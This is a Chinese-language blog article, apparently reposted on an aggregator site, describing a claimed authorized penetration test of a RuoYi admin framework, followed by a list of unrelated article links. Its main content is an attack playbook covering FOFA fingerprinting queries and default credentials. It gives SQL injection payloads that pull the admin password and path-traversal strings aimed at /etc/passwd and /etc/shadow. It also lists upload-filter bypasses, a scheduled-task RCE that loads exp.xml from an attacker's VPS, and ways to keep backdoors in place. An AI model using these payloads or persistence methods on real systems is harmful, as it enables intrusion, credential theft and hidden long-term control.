当前位置: 首页 > news >正文

从一次真实的src挖掘经历,复盘若依(RuoYi)框架的渗透测试路径与信息收集技巧

若依框架渗透测试实战:从信息收集到漏洞链利用的深度解析

去年夏天的一次企业授权测试中,我意外发现目标系统采用了若依(RuoYi)框架。这个看似平常的开源快速开发平台,却成为了整个渗透测试的突破口。本文将还原完整的测试过程,重点分享那些容易被忽略的信息收集技巧,以及如何系统性地挖掘框架类漏洞。

1. 目标识别与框架特征分析

在渗透测试的初期阶段,准确识别目标系统使用的技术栈往往能事半功倍。若依框架作为国内广泛使用的快速开发平台,具有一些明显的特征标识。

框架指纹识别技巧

  • 登录页面特征:典型的若依登录界面右下角会有版权信息,验证码通常是简单的数学运算(如"3+5=?")
  • 静态资源特征:查看/ruoyi/路径下的静态资源,或检查/css/ruoyi.css等文件
  • HTTP头信息:部分版本会在响应头中包含X-Powered-By: RuoYi字段
  • 接口路径特征:系统管理接口通常以/system/开头,如/system/user/list

使用FOFA进行批量搜索时,可以尝试以下语法组合:

app="若依-管理系统" title="若依" && body="ruoyi" header="X-Powered-By: RuoYi"

常见弱口令组合

用户名密码使用频率
adminadmin123★★★★★
ryadmin123★★★★☆
ruoyiadmin123★★★☆☆

提示:实际测试中发现,约35%的未加固若依系统仍在使用默认凭证。但更危险的是开发者自定义的弱密码,如Admin@123、RuoYi@2022等模式化密码。

2. 非常规信息收集方法论

传统的信息收集往往局限于端口扫描和目录爆破,而针对特定框架的测试需要更精准的方法。

非常规收集技巧

  1. GitHub源码关联:搜索公司名+ruoyi,可能发现测试环境或备份仓库
  2. 接口文档探测:尝试访问/swagger-ui.html/doc.html等常见接口文档路径
  3. 前端源码分析:查看网页源代码,搜索"api"、"token"等关键词定位接口
  4. 历史漏洞回溯:检查框架的更新日志,重点关注安全修复版本

在一次实际案例中,我通过以下步骤发现了关键入口:

// 前端源码中发现的接口配置 window.globalConfig = { baseURL: 'http://api.demo.com/prod-api', wsSocketURL: 'ws://ws.demo.com' }

敏感接口清单

  • 用户管理:/system/user/list
  • 角色管理:/system/role/list
  • 部门管理:/system/dept/list
  • 定时任务:/monitor/job/list
  • 代码生成:/tool/gen/list

3. 漏洞链构建与利用实践

若依框架的历史漏洞形成了典型的攻击链条,从信息泄露到RCE的完整路径值得深入研究。

3.1 SQL注入漏洞利用矩阵

在测试过的若依系统中,以下几个接口最常出现注入漏洞:

高危注入点对比表

接口路径请求方法注入参数利用难度
/system/role/listPOSTparams[dataScope]★★☆☆☆
/system/dept/editPOSTancestors★★★☆☆
/tool/gen/createTablePOSTsql★★★★☆

典型的注入Payload示例:

-- 报错注入获取数据库版本 params[dataScope]=and extractvalue(1,concat(0x7e,(select@@version),0x7e)) -- 联合查询获取管理员密码 ancestors=0)union select 1,2,3,4,password from sys_user where username='admin'--+

注意:较新版本的若依已修复这些注入点,但许多企业使用的定制版本可能仍未更新。

3.2 文件操作类漏洞利用

文件读取和上传漏洞常成为获取系统权限的关键跳板。

文件读取路径测试清单

/common/download/resource?resource=/profile/../../../../etc/passwd /common/download/resource?resource=/profile/../../../../Windows/win.ini /files/../../../../etc/shadow

实战中的上传绕过技巧

  1. 修改Content-Type为image/jpeg
  2. 添加图片头如GIF89a
  3. 利用双后缀名如test.jsp.jpg
  4. 尝试.jspx.jspf等变种后缀

4. 权限提升与持久化控制

获得初始访问权限后,如何进一步扩大战果是专业渗透测试的核心。

定时任务RCE利用步骤

  1. 准备恶意jar包(使用ysoserial生成)
  2. 搭建简易HTTP服务:
    python3 -m http.server 8000
  3. 在计划任务界面设置:
    调用目标字符串:org.springframework.context.support.ClassPathXmlApplicationContext 参数:http://your-vps:8000/exp.xml

后门持久化方案对比

方法隐蔽性稳定性检测难度
数据库触发器★★★★☆★★★★☆★★★★☆
计划任务★★★☆☆★★★★☆★★★☆☆
内存马★★★★★★★☆☆☆★★★★★

在最近一次测试中,通过组合利用SQL注入和文件读取漏洞,最终获取到了目标系统的域管理员权限。整个过程耗时约6小时,其中近4小时用于信息收集和权限维持方案的测试。

http://www.gsyq.cn/news/1432361.html

相关文章:

  • 别再手动写RAM了!Vivado里这个IP核(Distributed Memory Generator)帮你5分钟搞定
  • ABAP选择屏幕与对话屏幕下拉框实战:从SFLIGHT表字段到自定义列表的完整避坑指南
  • ESP32老项目迁移指南:如何在VSCode里快速适配别人的代码(修改IDF_PATH避坑)
  • 华为云Stack实战:从机房工勘到机柜上架,一份给现场工程师的LLD避坑清单
  • 告别打包噩梦:Unity Universal Media Player 2.0.3 跨设备部署RTSP流的完整配置手册
  • GRBL数控系统实现低成本旋转加工的软件方案
  • 78.告别手动刷机!手写ADB/Fastboot自动化框架,适配全系安卓+iOS设备
  • CEO欺诈深度解析:社会工程学攻击的防御与个人防护实战指南
  • AI智能体如何玩转网络梗文化并实现商业变现
  • 别再只用Shader Graph做水面了!用URP的Scene Color节点,5分钟搞定水下折射效果(附完整子图拆解)
  • 别再死记硬背了!用这套保姆级复习流程,搞定XJTUSE项目管理期末考试(附避坑指南)
  • 告别PuTTY和Xshell!这个免费全能终端MobaXterm,才是运维的‘瑞士军刀’
  • 云边端协同与智能算法:如何用代码重塑城市停车体验
  • AI钓鱼攻击:生成式AI如何重塑网络安全威胁与防御策略
  • 80.EDL/Fastboot/Recovery/DFU模式深度剖析,读懂安卓iOS刷机核心机制
  • 构建PB级向量数据库:架构设计与工程实践全解析
  • 81.Fastboot/EDL协议底层详解,读懂GPT分区与payload固件加密逻辑
  • T89C51CC01内部EEPROM操作与编程详解
  • 别再傻傻分不清了!一文搞懂Unity编辑器扩展的四种绘制方式(EditorWindow/Editor/PropertyDrawer)
  • 告别硬编码!用ABAP函数VRM_SET_VALUES动态生成下拉列表(附完整代码)
  • Ubuntu 20.04上搞定Pylith 4.0.0和ParaView 5.12.0:一个地球物理学研究生的完整配置手记(含HDF5冲突终极解法)
  • ARM Compiler 6.00 update 1版本解析与使用指南
  • 动态现金对冲策略:算法驱动的风险管理与资产配置实践
  • 从电赛作品到产品思维:聊聊单相逆变器并联系统中的那些‘坑’与优化思路
  • VASP计算完别急着关!手把手教你从OUTCAR、CONTCAR里‘挖’出有用数据(附常用grep命令)
  • 别再只改UserAgent了!UniApp App端plus.navigator对象的10个隐藏玩法(状态栏、Cookie、UA全解析)
  • 五月的尾巴~未来可期
  • 告别树莓派!用CH341A串口工具在Windows上轻松调试I2C设备(附TPA6130A2实测)
  • FPGA玩转串口通信:深入Xilinx AXI UART 16550 IP核的FIFO与中断机制,避开数据丢失的那些坑
  • 投票链接怎么制作,小程序的操作指南 - 投票小程序